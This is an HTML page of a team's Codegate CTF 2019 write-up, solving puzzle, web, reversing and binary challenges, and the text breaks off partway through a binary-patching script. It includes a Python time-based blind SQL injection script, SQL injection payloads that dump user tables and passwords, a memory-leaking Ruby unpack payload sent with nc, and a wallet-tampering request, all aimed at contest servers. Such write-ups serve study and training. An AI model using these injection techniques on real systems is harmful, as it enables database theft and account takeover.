<!DOCTYPE HTML>
<!-- This page is modified from the template https://www.codeply.com/go/7XYosZ7VH5 by Carol Skelly (@iatek). -->
<html>
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <title>Codegate CTF 2019 Preliminary</title>
    <link type="text/css" rel="stylesheet" href="../assets/css/github-markdown.css">
    <link type="text/css" rel="stylesheet" href="../assets/css/pilcrow.css">
    <link type="text/css" rel="stylesheet" href="../assets/css/hljs-github.min.css"/>
    <link type="text/css" rel="stylesheet" href="../assets/css/bootstrap-4.0.0-beta.3.min.css">
    <script type="text/javascript" src="../assets/js/jquery-3.3.1.slim.min.js"></script>
    <script type="text/javascript" src="../assets/js/bootstrap-4.0.0-beta.3.min.js"></script>
    <script type="text/javascript" src="../assets/js/popper-1.14.3.min.js"></script>
    <script type="text/javascript" src="../assets/js/mathjax-2.7.4/MathJax.js?config=TeX-MML-AM_CHTML"></script>
  </head>
  <style>
  body {
      padding-top: 56px;
  }

  .sticky-offset {
      top: 56px;
  }

  #body-row {
      margin-left:0;
      margin-right:0;
  }
  #sidebar-container {
      min-height: 100vh;   
      background-color: #333;
      padding: 0;
  }

  /* Sidebar sizes when expanded and expanded */
  .sidebar-expanded {
      width: 230px;
  }
  .sidebar-collapsed {
      width: 60px;
  }

  /* Menu item*/
  #sidebar-container .list-group a {
      height: 50px;
      color: white;
  }

  /* Submenu item*/
  #sidebar-container .list-group .sidebar-submenu a {
      height: 45px;
      padding-left: 60px;
  }
  .sidebar-submenu {
      font-size: 0.9rem;
  }

  /* Separators */
  .sidebar-separator-title {
      background-color: #333;
      height: 35px;
  }
  .sidebar-separator {
      background-color: #333;
      height: 25px;
  }
  .logo-separator {
      background-color: #333;    
      height: 60px;
  }


  /* 
   active scrollspy
  */
  .list-group-item.active {
    border-color: transparent;
    border-left: #e69138 solid 4px;
  }

  /* 
   anchor padding top
   https://stackoverflow.com/a/28824157
  */
  :target:before {
    content:"";
    display:block;
    height:56px; /* fixed header height*/
    margin:-56px 0 0; /* negative fixed header height */
  }
  </style>
  
  <script>
  // https://stackoverflow.com/a/48330533
  $(window).on('activate.bs.scrollspy', function (event) {
    let active_collapse = $($('.list-group-item.active').parents()[0]);
    $(".collapse").removeClass("show");
    active_collapse.addClass("show");

    let parent_menu = $('a[href="#' + active_collapse[0].id + '"]');
    $('a[href^="#submenu"]').css("border-left", "");
    parent_menu.css("border-left","#e69138 solid 4px");
  });

  // http://docs.mathjax.org/en/latest/tex.html#tex-and-latex-math-delimiters
  MathJax.Hub.Config({
    tex2jax: {
      inlineMath: [['$','$'], ['\\(','\\)']],
      processEscapes: true
    }
  });
  </script>

  <body style="position: relative;" data-spy="scroll" data-target=".sidebar-submenu" data-offset="70">
    <nav class="navbar navbar-expand-md navbar-light bg-light fixed-top">
      <button class="navbar-toggler navbar-toggler-right" type="button" data-toggle="collapse" data-target="#navbarNavDropdown" aria-controls="navbarNavDropdown" aria-expanded="false" aria-label="Toggle navigation">
        <span class="navbar-toggler-icon"></span>
      </button>
      <a class="navbar-brand" href="https://github.com/balsn/ctf_writeup">
        <img src="https://github.githubassets.com/images/modules/logos_page/GitHub-Mark.png" class="d-inline-block align-top" alt="" width="30" height="30">
        <span class="menu-collapsed">balsn / ctf_writeup</span>
      </a>
      <div class="collapse navbar-collapse" id="navbarNavDropdown">
        <ul class="navbar-nav my-2 my-lg-0">
            
            <li class="nav-item dropdown d-sm-block d-md-none">
              <iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=watch&count=true&size=large&v=2" frameborder="0" scrolling="0" width="140px" height="30px"></iframe>
              <iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=star&count=true&size=large" frameborder="0" scrolling="0" width="140px" height="30px"></iframe>
        
              <a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
                misc
              </a>
              <div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
                                <a class="dropdown-item" href="#mic-check">mic-check</a>
    
                <a class="dropdown-item" href="#algo_auth">algo_auth</a>
    
                <a class="dropdown-item" href="#mini-converter">mini-converter</a>
    
              </div>
            </li>
    
            <li class="nav-item dropdown d-sm-block d-md-none">
              <a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
                web
              </a>
              <div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
                                <a class="dropdown-item" href="#rich-project">rich-project</a>
    
              </div>
            </li>
    
            <li class="nav-item dropdown d-sm-block d-md-none">
              <a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
                rev
              </a>
              <div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
                                <a class="dropdown-item" href="#pyprot3ct">pyprot3ct</a>
    
              </div>
            </li>
    
            <li class="nav-item dropdown d-sm-block d-md-none">
              <a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
                pwn
              </a>
              <div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
                                <a class="dropdown-item" href="#kingmaker">kingmaker</a>
    
                <a class="dropdown-item" href="#cg_casino">cg_casino</a>
    
                <a class="dropdown-item" href="#archiver">archiver</a>
    
                <a class="dropdown-item" href="#20000">20000</a>
    
                <a class="dropdown-item" href="#maris_shop">maris_shop</a>
    
                <a class="dropdown-item" href="#god-the-reum">god-the-reum</a>
    
                <a class="dropdown-item" href="#aeiou">aeiou</a>
    
              </div>
            </li>
    
        </ul>
      </div>
      <div class="navbar-collapse collapse w-100 order-3 dual-collapse2">
        <ul class="navbar-nav ml-auto">
          <iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=watch&count=true&size=large&v=2" frameborder="0" scrolling="0" width="160px" height="30px"></iframe>
          <iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=star&count=true&size=large" frameborder="0" scrolling="0" width="160px" height="30px"></iframe>
        </ul>
      </div>
    </nav>
    <div class="row" id="body-row">
      <div id="sidebar-container" class="sidebar-expanded d-none d-md-block col-2">
        <ul class="list-group sticky-top sticky-offset">
          
          <a href="#submenu0" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
            <div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
              <span class="fa fa-dashboard fa-fw mr-3"></span>
              <span class="menu-collapsed">misc</span>
              <span class="submenu-icon ml-auto"></span>
            </div>
          </a>
          <div id="submenu0" class="collapse sidebar-submenu">
            <a href="#mic-check" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">mic-check</span>
            </a>
    
<a href="#algo_auth" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">algo_auth</span>
            </a>
    
<a href="#mini-converter" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">mini-converter</span>
            </a>
    
          </div>
    
          <a href="#submenu1" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
            <div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
              <span class="fa fa-dashboard fa-fw mr-3"></span>
              <span class="menu-collapsed">web</span>
              <span class="submenu-icon ml-auto"></span>
            </div>
          </a>
          <div id="submenu1" class="collapse sidebar-submenu">
            <a href="#rich-project" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">rich-project</span>
            </a>
    
          </div>
    
          <a href="#submenu2" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
            <div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
              <span class="fa fa-dashboard fa-fw mr-3"></span>
              <span class="menu-collapsed">rev</span>
              <span class="submenu-icon ml-auto"></span>
            </div>
          </a>
          <div id="submenu2" class="collapse sidebar-submenu">
            <a href="#pyprot3ct" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">pyprot3ct</span>
            </a>
    
          </div>
    
          <a href="#submenu3" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
            <div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
              <span class="fa fa-dashboard fa-fw mr-3"></span>
              <span class="menu-collapsed">pwn</span>
              <span class="submenu-icon ml-auto"></span>
            </div>
          </a>
          <div id="submenu3" class="collapse sidebar-submenu">
            <a href="#kingmaker" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">kingmaker</span>
            </a>
    
<a href="#cg_casino" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">cg_casino</span>
            </a>
    
<a href="#archiver" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">archiver</span>
            </a>
    
<a href="#20000" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">20000</span>
            </a>
    
<a href="#maris_shop" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">maris_shop</span>
            </a>
    
<a href="#god-the-reum" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">god-the-reum</span>
            </a>
    
<a href="#aeiou" class="list-group-item list-group-item-action text-white bg-dark">
              <span class="menu-collapsed">aeiou</span>
            </a>
    
          </div>
    
        </ul>
      </div>
      <div class="col-10 py-3">
        <article class="markdown-body"><h1 id="codegate-ctf-2019-preliminary"><a class="header-link" href="#codegate-ctf-2019-preliminary"></a>Codegate CTF 2019 Preliminary</h1>

<p>We have some new team members in this CTF: kaibro, limbo, billy, tens, yuawn. Welcome them!</p>
<h2 id="misc"><a class="header-link" href="#misc"></a>Misc</h2>
<h3 id="mic-check"><a class="header-link" href="#mic-check"></a>MIC check</h3>
<p>Simple ascii 85 encoding. Just decode the string and we got the flag: <code>Let the hacking begins ~</code></p>
<h3 id="algo_auth"><a class="header-link" href="#algo_auth"></a>algo_auth</h3>
<blockquote>
<p>kaibro</p>
</blockquote>
<p>Easy algorithm problem</p>
<p>we can use DFS to bruteforce the answer.</p>
<p>Here is my algorithm code(C++):</p>
<pre class="hljs"><code><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;iostream&gt;</span></span>
<span class="hljs-keyword">using</span> <span class="hljs-keyword">namespace</span> <span class="hljs-built_in">std</span>;

<span class="hljs-keyword">int</span> best = <span class="hljs-number">1e8</span>;
<span class="hljs-keyword">int</span> mx[<span class="hljs-number">7</span>][<span class="hljs-number">7</span>];

<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">dfs</span><span class="hljs-params">(<span class="hljs-keyword">int</span> x, <span class="hljs-keyword">int</span> y, <span class="hljs-keyword">int</span> val)</span> </span>{

    <span class="hljs-keyword">if</span>(val + mx[x][y] &gt; best) <span class="hljs-keyword">return</span>;

    <span class="hljs-keyword">if</span>(x == <span class="hljs-number">6</span>) 
        best = min(best, val + mx[x][y]);
    <span class="hljs-keyword">if</span>(x &gt; <span class="hljs-number">6</span> || x &lt; <span class="hljs-number">0</span> || y &gt; <span class="hljs-number">6</span> || y &lt; <span class="hljs-number">0</span>) {
        <span class="hljs-keyword">if</span>(x &gt; <span class="hljs-number">6</span> || (x == <span class="hljs-number">6</span> &amp;&amp; y &lt; <span class="hljs-number">0</span>) || (x == <span class="hljs-number">6</span> &amp;&amp; y &gt; <span class="hljs-number">6</span>)) 
            best = min(val, best);
        <span class="hljs-keyword">return</span>;
    }

    dfs(x + <span class="hljs-number">1</span>, y, val + mx[x][y]);
    dfs(x, y - <span class="hljs-number">1</span>, val + mx[x][y]);
    dfs(x, y + <span class="hljs-number">1</span>, val + mx[x][y]);

}

<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span> </span>{
    ios_base::sync_with_stdio(<span class="hljs-number">0</span>);
    <span class="hljs-keyword">for</span>(<span class="hljs-keyword">int</span> i = <span class="hljs-number">0</span>; i &lt; <span class="hljs-number">7</span>; i++)
        <span class="hljs-keyword">for</span>(<span class="hljs-keyword">int</span> j = <span class="hljs-number">0</span>; j &lt; <span class="hljs-number">7</span>; j++)
            <span class="hljs-built_in">cin</span> &gt;&gt; mx[j][i];

    <span class="hljs-keyword">for</span>(<span class="hljs-keyword">int</span> i = <span class="hljs-number">0</span>; i &lt; <span class="hljs-number">7</span>; ++i)
        dfs(<span class="hljs-number">0</span>, i, <span class="hljs-number">0</span>);

    <span class="hljs-built_in">cout</span> &lt;&lt; best &lt;&lt; <span class="hljs-built_in">endl</span>;

    <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}</code></pre><p>After solving 100 stages, I got this message: <code>@@@@@ Congratz! Your answers are an answer</code></p>
<p>But this is not flag.</p>
<p>In every stage, we can get a number of smallest path sum.</p>
<p>And this value will not change in different connections.</p>
<p>So I try to convert the numbers(ascii code) to characters in every stages, and I got this base64 string: </p>
<p><code>RkxBRyA6IGcwMG9vT09kX2owQiEhIV9fX3VuY29tZm9ydDRibGVfX3MzY3VyaXR5X19pc19fbjB0X180X19zZWN1cml0eSEhISEh</code></p>
<p>Decode it, and get flag:</p>
<p><code>echo RkxBRyA6IGcwMG9vT09kX2owQiEhIV9fX3VuY29tZm9ydDRibGVfX3MzY3VyaXR5X19pc19fbjB0X180X19zZWN1cml0eSEhISEh | base64 -d</code></p>
<p><code>FLAG : g00ooOOd_j0B!!!___uncomfort4ble__s3curity__is__n0t__4__security!!!!!</code></p>
<h3 id="mini-converter"><a class="header-link" href="#mini-converter"></a>mini converter</h3>
<blockquote>
<p>kaibro</p>
</blockquote>
<p>The problem is on <code>puts input.unpack(&quot;C*#{input}.length&quot;)</code></p>
<p>It put input to the string of unpack method</p>
<p>So we can control the result of unpack to leak flag.</p>
<p>In Ruby unpack format, <code>@</code> can <code>skip to the offset given by the length argument</code></p>
<p>If we assign a large positive number to it, the number will overflow to negative number.</p>
<p>Then we can leak previous content, including the <code>flag</code>.</p>
<p>Payload:</p>
<p><code>nc 110.10.147.105 12137 | strings | grep flag</code></p>
<p>and then paste <code>@18446744073708410316A1150000</code>, <code>1</code> repeatedly.</p>
<pre class="hljs"><code>$ nc <span class="hljs-number">110.10</span>.<span class="hljs-number">147.105</span> <span class="hljs-number">12137</span> <span class="hljs-params">| strings |</span> grep flag
@18446744073708410316A1150000
<span class="hljs-number">1</span>

$(cflags)  -fPIC
 $(DEFS) $(cppflags)
$(cxxflags)
DEFS) $(cppflags)
cflags
cppflags
cxxflags
optflags
debugflags
warnflags
strict_warnflags
flags

@18446744073708410316A1150000
<span class="hljs-number">1</span>

flag
flag
$(optflags) $(debugflags) $(warnflags)
flag = <span class="hljs-string">"FLAG{Run away with me.It'll be the way you want it}"</span></code></pre><h2 id="web"><a class="header-link" href="#web"></a>Web</h2>
<h3 id="rich-project"><a class="header-link" href="#rich-project"></a>Rich Project</h3>
<blockquote>
<p>bookgin, kaibro</p>
</blockquote>
<p>After scanning, I found:</p>
<p><code>http://110.10.147.112/robots.txt</code></p>
<pre class="hljs"><code>User-<span class="hljs-string">agent :</span> *
<span class="hljs-string">Disallow:</span> /top_secret.zip
<span class="hljs-string">Disallow:</span> /</code></pre><p>But the zip file has an unknown password, and there is a file <code>ZIP PASS = MASTER_PW</code> in it.</p>
<p>So we need to find the MASTER&#39;s password first.</p>
<p><br></p>
<p>And then I found a SQL Injection in the register page. (<a href="http://110.10.147.112/?p=reg">http://110.10.147.112/?p=reg</a>)</p>
<p>The point of SQL Injection is on <code>ac</code> parameter.</p>
<p>If we input <code>&#39;||sleep(10)||&#39;1</code> on <code>ac</code>, it will sleep 10 seconds.</p>
<p>So I guess the SQL query may look like <code>INSERT INTO xxx VALUES (&#39;id&#39;, &#39;pw&#39;, &#39;ac&#39;)</code></p>
<p>(after input <code>1&#39;+&#39;2</code>, the value of ac in <code>/?p=info</code> is <code>3</code>)</p>
<p><br></p>
<p>After fuzzing, I found that there is WAF behind the website.</p>
<p>If I input <code>group_concat</code>, <code>group by</code>, <code>where</code>, <code>order</code>, <code>limit</code>, <code>&#39;&#39;&#39;</code>, <code>&#39;&#39;&#39;&#39;</code>, ..., the response text is <code>no hack</code>.</p>
<p>I can still dump some basic information by this script (time based sql injection):</p>
<pre class="hljs"><code><span class="hljs-keyword">import</span> requests
<span class="hljs-keyword">import</span> random
<span class="hljs-keyword">import</span> time

<span class="hljs-keyword">while</span> <span class="hljs-keyword">True</span>:
    sql = raw_input(<span class="hljs-string">":"</span>)

    res = <span class="hljs-string">''</span>
    <span class="hljs-keyword">for</span> tl <span class="hljs-keyword">in</span> range(<span class="hljs-number">30</span>):
        l = <span class="hljs-number">20</span>
        r = <span class="hljs-number">140</span>
        <span class="hljs-keyword">while</span> l &lt;= r:
            <span class="hljs-keyword">if</span> l == r:
                res += chr(l)
                print(l, chr(l))
                print(res)
                <span class="hljs-keyword">break</span>
            m = (l + r) // <span class="hljs-number">2</span>
            <span class="hljs-keyword">print</span> <span class="hljs-string">"now:"</span>+str(m)
            ac = <span class="hljs-string">"'||if(ascii(mid({},{},1))&gt;{}, sleep(2),1)=1||'1"</span>.format(sql, tl+<span class="hljs-number">1</span>, m)
            t1 = int(time.time())
            req = requests.post(<span class="hljs-string">"http://110.10.147.112/?p=reg"</span>, data={<span class="hljs-string">'id'</span>:<span class="hljs-string">'kaizzzbro666'</span>+str(random.randint(<span class="hljs-number">1</span>,<span class="hljs-number">500</span>)),<span class="hljs-string">'pw'</span>:<span class="hljs-string">'kaibro'</span>, <span class="hljs-string">'ac'</span>:ac})
            <span class="hljs-comment"># print r.text</span>
            t2 = int(time.time())

            <span class="hljs-keyword">if</span> t2 - t1 &gt;= <span class="hljs-number">2</span>:
                l = m + <span class="hljs-number">1</span>
            <span class="hljs-keyword">else</span>:
                r = m</code></pre><pre class="hljs"><code><span class="hljs-function"><span class="hljs-title">user</span><span class="hljs-params">()</span></span>: db_manager@localhost
<span class="hljs-function"><span class="hljs-title">database</span><span class="hljs-params">()</span></span>: userdata
<span class="hljs-function"><span class="hljs-title">version</span><span class="hljs-params">()</span></span>: <span class="hljs-number">5.7</span>.<span class="hljs-number">25</span>-<span class="hljs-number">0</span>ubuntu0.<span class="hljs-number">18.04</span>.<span class="hljs-number">2</span></code></pre><p>But it is a little hard to dump schema name, table name, column name by this script.</p>
<p>After discussing, we found a method can dump schema_name, table_name and column_name:</p>
<ul class="list">
<li>Dump table name<ul class="list">
<li><code>0&#39; |(select count(*) from (select table_schema,table_name from information_schema.tables having table_schema !=&quot;sys&quot; and table_schema !=&quot;mysql&quot; and table_schema !=&quot;performance_schema&quot; and table_schema !=&quot;information_schema&quot; and table_name regexp &quot;[a-z].*&quot;) as b)| &#39;0</code></li>
</ul>
</li>
</ul>
<p>(if the regex pattern matches, the value of ac in the info page will show a number &gt; 0)</p>
<ul class="list">
<li>Dump column name<ul class="list">
<li><code>0&#39; |(select count(*) from (select column_name from information_schema.columns having table_name=&quot;users&quot; and column_name regexp &quot;.*&quot;) as b)| &#39;0</code></li>
</ul>
</li>
<li>Dump data<ul class="list">
<li><code>0&#39; |(select count(*) from (select id, pw from userdata.users having id=&quot;MASTER&quot; and pw regexp &quot;.*&quot;) as b)| &#39;0</code></li>
</ul>
</li>
</ul>
<p>Because the account number is a signed 8-byte integer, we can use <code>hex(mid((select pw from (select id, pw from userdata.users having id=&quot;admin&quot;) as b), 1, 8))</code> to extract 8 bytes of the SHA1 password at once.</p>
<h4 id="result"><a class="header-link" href="#result"></a>Result</h4>
<p>there is two tables in the userdata db:</p>
<ul class="list">
<li><code>users</code><ul class="list">
<li><code>id</code></li>
<li><code>pw</code></li>
<li><code>ac</code></li>
</ul>
</li>
<li><code>user_wallet</code></li>
</ul>
<p>And we found a user <code>MASTER</code> with password <code>master</code> and ac <code>master</code>, but this is fake user lol.</p>
<p>There is another user <code>admin</code> with password <code>hacker</code> and ac <code>ADMIN_ACC0UNTS</code>.</p>
<p>After login as <code>admin</code>, we can view the <code>TOP SECRET</code> now:</p>
<pre class="hljs"><code>They are manipulating the price <span class="hljs-keyword">of</span> coins!! 
How can <span class="hljs-keyword">this</span> be? When I knew <span class="hljs-literal">that</span>, I decided <span class="hljs-keyword">to</span> expose <span class="hljs-literal">that</span>.
Fortunately, I have a MASTER PASSWORD (<span class="hljs-keyword">not</span> flag). It <span class="hljs-keyword">is</span>..


<span class="hljs-string">'D0_N0T_RE1E@5E_0THER5'</span>
Also, they have set up evidence <span class="hljs-keyword">to</span> <span class="hljs-keyword">not</span> be searched(googling). 
If you read <span class="hljs-keyword">this</span> message, please found evidence <span class="hljs-keyword">and</span> expose <span class="hljs-literal">it</span>.</code></pre><p>so the password of zip file is <code>D0_N0T_RE1E@5E_0THER5</code>.</p>
<p>I found there is a logic vulnerabilty in <code>reserv.php</code> after code review.</p>
<p>we can assign arbitrary number to <code>$_POST[&#39;amount&#39;]</code> in <code>reserv.php</code>, and it will update the amount of <code>user_wallet</code>:</p>
<pre class="hljs"><code><span class="hljs-symbol">http:</span><span class="hljs-comment">//110.10.147.112/?p=reserv</span>
code=D0_N0T_RE1E@<span class="hljs-number">5</span>E_0THER5<span class="hljs-variable">&amp;date</span>=<span class="hljs-number">2019</span><span class="hljs-number">-01</span><span class="hljs-number">-29</span><span class="hljs-variable">&amp;amount</span>=<span class="hljs-number">1000000000</span></code></pre><p>Then, we can sell our coins to gold in <code>sell.php</code>.</p>
<p>If we got <code>cash &gt;= 999999999</code>, we can buy the flag in <code>pay.php</code>:</p>
<p class="img-container"><img src="https://i.imgur.com/zkWpfpq.png" alt=""></p>
<p><a href="http://110.10.147.112/?key=D0_N0T_RE1E@5E_0THER5&amp;p=pay">http://110.10.147.112/?key=D0_N0T_RE1E@5E_0THER5&amp;p=pay</a></p>
<p><code>FLAG{H0LD_Y0UR_C0IN_T0_9999-O9-O9!}</code></p>
<h4 id="unintended-solution-for-cracking-the-zip-file"><a class="header-link" href="#unintended-solution-for-cracking-the-zip-file"></a>Unintended solution for cracking the zip file</h4>
<p>Since there are a few files with known plaintext, one can crack the zip using <a href="https://github.com/hyperreality/ctf-writeups/blob/master/2019-codegate/README.md#cracking-the-zip">zip plaintext attack</a>. What a clever approach! This approach is credited to @hyperreality.</p>
<h2 id="rev"><a class="header-link" href="#rev"></a>Rev</h2>
<h3 id="pyprot3ct"><a class="header-link" href="#pyprot3ct"></a>PyProt3ct</h3>
<blockquote>
<p>limbo</p>
</blockquote>
<p>We were given the challenge&#39;s source code ( python ). By checking the source code, we know that <code>play.py</code> is responsible for the flag checking logic. However it&#39;s been obfuscated:</p>
<pre class="hljs"><code><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">O0O0OOO00OO00O000</span><span class="hljs-params">(OOOO0OOOO000OO000)</span>:</span>
    O00OOOOOO000OOO00=<span class="hljs-number">2001</span>
    OOO0OOOOOOO0O00O0=<span class="hljs-number">2002</span>
    O0O00000000OO0OO0=OOOO0OOOO000OO000[O00OOOOOO000OOO00]
    O0O00000000OO0OO0=O0O00000000OO0OO0.decode(<span class="hljs-string">"utf-8"</span>)
    OOOOO0OOO0OOO0O0O=OOOO0OOOO000OO000[OOO0OOOOOOO0O00O0]
    OOOOO0OOO0OOO0O0O=OOOOO0OOO0OOO0O0O.decode(<span class="hljs-string">"utf-8"</span>)
    OOOOO0OOO0OOO0O0O=int(OOOOO0OOO0OOO0O0O)
...............................</code></pre><p>We have to recover the flag checking logic manually. Here&#39;s the de-obfuscated version ( pseudo-code ):</p>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python</span>

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">do</span><span class="hljs-params">(x)</span>:</span>
    a = x &gt;&gt; <span class="hljs-number">32</span>
    a ^= <span class="hljs-number">0xffc2bdec</span>
    a += <span class="hljs-number">0xffc2bdec</span>
    a &amp;= <span class="hljs-number">0xffffffff</span>

    b = x &amp; <span class="hljs-number">0xffffffff</span>
    b ^= <span class="hljs-number">0xffc2bdec</span>
    b += <span class="hljs-number">0xffc2bdec</span>
    b &amp;= <span class="hljs-number">0xffffffff</span>

    c = ((b &lt;&lt; <span class="hljs-number">32</span>) | a)&amp;<span class="hljs-number">0xffffffffffffffff</span>
    d = ((c &amp; <span class="hljs-number">0x7f</span>) &lt;&lt; <span class="hljs-number">57</span>)&amp;<span class="hljs-number">0xffffffffffffffff</span>

    <span class="hljs-keyword">return</span> ((c &gt;&gt; <span class="hljs-number">7</span>) | d) &amp; <span class="hljs-number">0xffffffffffffffff</span>

flag = raw_input(<span class="hljs-string">"flag:"</span>).strip()
now = int(<span class="hljs-string">"0x"</span> + flag.encode(<span class="hljs-string">'hex'</span>), <span class="hljs-number">16</span>)

<span class="hljs-keyword">for</span> _ <span class="hljs-keyword">in</span> xrange(<span class="hljs-number">0x7f</span>):
    now = do(now)

print(hex(now))
<span class="hljs-keyword">assert</span> now == <span class="hljs-number">0xd274a5ce60ef2dca</span></code></pre><p>We can see that it&#39;s just some bit rotation and some xor/add operations. Just write a script and recover the flag:</p>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python</span>

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">undo</span><span class="hljs-params">(x)</span>:</span>
    c = ((x &lt;&lt; <span class="hljs-number">7</span>) | (x &gt;&gt; <span class="hljs-number">57</span>))&amp;<span class="hljs-number">0xffffffffffffffff</span>
    b = ((((c &gt;&gt; <span class="hljs-number">32</span>)&amp;<span class="hljs-number">0xffffffff</span>)<span class="hljs-number">-0xffc2bdec</span>)&amp;<span class="hljs-number">0xffffffff</span>)^<span class="hljs-number">0xffc2bdec</span>
    a = (((c&amp;<span class="hljs-number">0xffffffff</span>)<span class="hljs-number">-0xffc2bdec</span>)&amp;<span class="hljs-number">0xffffffff</span>)^<span class="hljs-number">0xffc2bdec</span>
    <span class="hljs-keyword">return</span> ((a &lt;&lt; <span class="hljs-number">32</span>) | b)&amp;<span class="hljs-number">0xffffffffffffffff</span>

now = <span class="hljs-number">0xd274a5ce60ef2dca</span>
<span class="hljs-keyword">for</span> _ <span class="hljs-keyword">in</span> xrange(<span class="hljs-number">0x7f</span>):
    now = undo(now)

print(hex(now)) <span class="hljs-comment"># hex string of the flag</span>
print(hex(now)[<span class="hljs-number">2</span>:<span class="hljs-number">-1</span>:].decode(<span class="hljs-string">'hex'</span>)) <span class="hljs-comment"># unhex the string to get the flag</span>
</code></pre><p>flag: <code>d34dPY27</code></p>
<h2 id="pwn"><a class="header-link" href="#pwn"></a>Pwn</h2>
<h3 id="kingmaker"><a class="header-link" href="#kingmaker"></a>KingMaker</h3>
<blockquote>
<p>yuawn</p>
</blockquote>
<p>The binary will xor the opcodes of some functions dynamically, we can find out the key by xor it with predictable opcodes.</p>
<ul class="list">
<li>patch<span></span>.py:</li>
</ul>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python</span>

s = open( <span class="hljs-string">'KingMaker'</span> ).read()
new = open( <span class="hljs-string">'./KingMaker.patched'</span> , <span class="hljs-string">'w+'</span> )

k = [ <span class="hljs-string">'lOv3'</span> , <span class="hljs-string">'D0l1'</span> , <span class="hljs-string">'HuNgRYT1m3'</span> , <span class="hljs-string">'F0uRS3aS0n'</span> , <span class="hljs-string">'T1kT4kT0Kk'</span> ]

p = [
    (<span class="hljs-number">0x330f</span>,<span class="hljs-number">0xf0</span>,<span class="hljs-number">1</span>) , (<span class="hljs-number">0x33ff</span>,<span class="hljs-number">0x1e</span>,<span class="hljs-number">1</span>) , (<span class="hljs-number">0x341d</span>,<span class="hljs-number">0xf0</span>,<span class="hljs-number">1</span>) , (<span class="hljs-number">0x32c0</span>,<span class="hljs-number">0x1e</span>,<span class="hljs-number">1</span>) , (<span class="hljs-number">0x32de</span>,<span class="hljs-number">0x31</span>,<span class="hljs-number">1</span>) , (<span class="hljs-number">0x3197</span>,<span class="hljs-number">0x129</span>,<span class="hljs-number">1</span>) , (<span class="hljs-number">0x30d4</span>,<span class="hljs-number">0xc3</span>,<span class="hljs-number">1</span>),
    (<span class="hljs-number">0x2D55</span>,<span class="hljs-number">0xfa</span>,<span class="hljs-number">2</span>) , (<span class="hljs-number">0x2c25</span>,<span class="hljs-number">0x112</span>,<span class="hljs-number">2</span>) , (<span class="hljs-number">0x2d37</span>,<span class="hljs-number">0x1e</span>,<span class="hljs-number">2</span>) , (<span class="hljs-number">0x27e9</span>,<span class="hljs-number">0x44</span>,<span class="hljs-number">2</span>) , (<span class="hljs-number">0x29b9</span>,<span class="hljs-number">0xe6</span>,<span class="hljs-number">2</span>) , (<span class="hljs-number">0x2b2b</span>,<span class="hljs-number">0xfa</span>,<span class="hljs-number">2</span>) , (<span class="hljs-number">0x271c</span>,<span class="hljs-number">0xcd</span>,<span class="hljs-number">2</span>) , (<span class="hljs-number">0x28b5</span>,<span class="hljs-number">0xe6</span>,<span class="hljs-number">2</span>) , (<span class="hljs-number">0x299b</span>,<span class="hljs-number">0x1e</span>,<span class="hljs-number">2</span>) , (<span class="hljs-number">0x2a9f</span>,<span class="hljs-number">0x4e</span>,<span class="hljs-number">2</span>) , (<span class="hljs-number">0x2aed</span>,<span class="hljs-number">0x3e</span>,<span class="hljs-number">2</span>),
    (<span class="hljs-number">0x282d</span>,<span class="hljs-number">0x44</span>,<span class="hljs-number">2</span>) , (<span class="hljs-number">0x2871</span>,<span class="hljs-number">0x44</span>,<span class="hljs-number">2</span>),
    (<span class="hljs-number">0x20e2</span>,<span class="hljs-number">0x18d</span>,<span class="hljs-number">3</span>) , (<span class="hljs-number">0x201f</span>,<span class="hljs-number">0xc3</span>,<span class="hljs-number">3</span>),
